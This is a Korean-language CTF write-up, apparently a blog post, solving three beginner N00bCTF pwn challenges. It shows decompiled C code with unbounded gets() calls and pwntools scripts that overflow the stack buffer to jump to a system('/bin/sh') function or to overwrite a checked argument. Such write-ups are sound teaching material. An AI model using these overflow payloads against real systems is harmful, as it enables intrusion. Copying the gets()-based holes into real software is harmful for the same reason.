http://52.79.224.215
Pwn
What is bof?
100
exeinfo.exe로 32bit elf 파일임을 알아내고 ida 32bit로 연다.
main() 과 flag()
1
2
3
4
5
6
7
8
9
10
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-14h]@1
setvbuf(_bss_start, 0, 2, 0);
printf("Go through it!! >> ");
gets(&s);
printf("YOu Input : %s\n", &s);
return 0;
}
|
cs |
1
2
3
4
5
|
int flag()
{
printf("Y0u Ar3 Fl@g Here!!");
return system("/bin/sh");
}
|
cs |
main함수에서 발생하는 bof를 통해 ret주소를 flag()의 주소로 덮어서 쉘을 실행시킨 뒤, flag 파일을 읽으면 된다.
main:7 에서 입력길이에 제한이 없는 gets() 함수를 사용하므로 ret을 덮을 수 있다.
s는 bp-14h에 위치한다.
s[20] + sfp[4] + ret[4] ==========> 24바이트를 덮고 ret을 flag()주소인 0x08048516으로 덮으면 된다.
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#python
from pwn import *
p = remote("52.79.224.215", 30005)
flag = 0x08048516
payload = "A"*24 + p32(flag)
p.recvuntil(">> ")
p.sendline(payload)
p.interactive()
|
cs |
very ezzzzzz!!
100
what is bof? 문제와 동일 하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-40h]@1
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
gets(&s);
sleep_puts("Wait!!!!!!");
sleep_puts("You should stop");
sleep_puts("Stealing flag...");
sleep_puts("Wait 10sec..");
sleep_puts("Wait 8sec..");
sleep_puts("Wait 6sec..");
sleep_puts("Wait 4sec..");
sleep_puts("Wait 2sec..");
sleep_puts("Okay");
sleep_puts("I'll give you a flag!!");
puts("N00bCTF{wow_your_very_good!!}");
return 0;
}
|
cs |
gets함수를 사용하고 있고, s는 bp-40h에 위치한다.
sfp까지 해서 68바이트를 덮고 ret을 get_flag()함수 주소로 덮어주면 된다.
get_flag() : 0x08048556
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
|
#python
from pwn import *
p = remote("52.79.224.215", 30006)
flag = 0x08048556
payload = "A"*68 + p32(flag)
p.sendline(payload)
p.interactive()
|
cs |
Over the RET
150
1
2
3
4
5
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln(18273645);
return 0;
}
|
cs |
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl vuln(int a1)
{
int result; // eax@1
char s; // [sp+0h] [bp-40h]@1
gets(&s);
result = puts(&s);
if ( a1 == 12563478 )
result = system("/bin/sh");
return result;
}
|
cs |
main함수에서 vuln함수를 호출하고 인자(a1)로 18273645를 주고 있다.
vuln함수에서는 그 인자(a1)의 값dl 12563478이면 쉘을 실행한다.
a1은 bp+8h에 위치한다.
s[bp-40h]=====64bytes=======sfp[4]==ret[4]==a1[bp+8h]
이고, gets(&s); 를 사용하므로 총72바이트를 덮고 그 다음 값으로 a1을 덮을 수 있다.
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
p = remote("52.79.224.215", 30007)
a1 = 12563478
payload = "A"*72 + p32(a1)
p.sendline(payload)
p.interactive()
|
cs |
'WAR GAME > N00bCTF' 카테고리의 다른 글
N00bCTF Multimedia Forensic 카테고리 문제 풀이 (0) | 2019.11.07 |
---|---|
N00bCTF Misc 카테고리 문제 풀이 (0) | 2019.11.07 |
N00bCTF Reversing 카테고리 문제 풀이 (0) | 2019.11.07 |
N00bCTF Crypto 카테고리 문제 풀이 (0) | 2019.11.07 |
N00bCTF Disk Forensic 카테고리 문제 풀이 (0) | 2019.11.07 |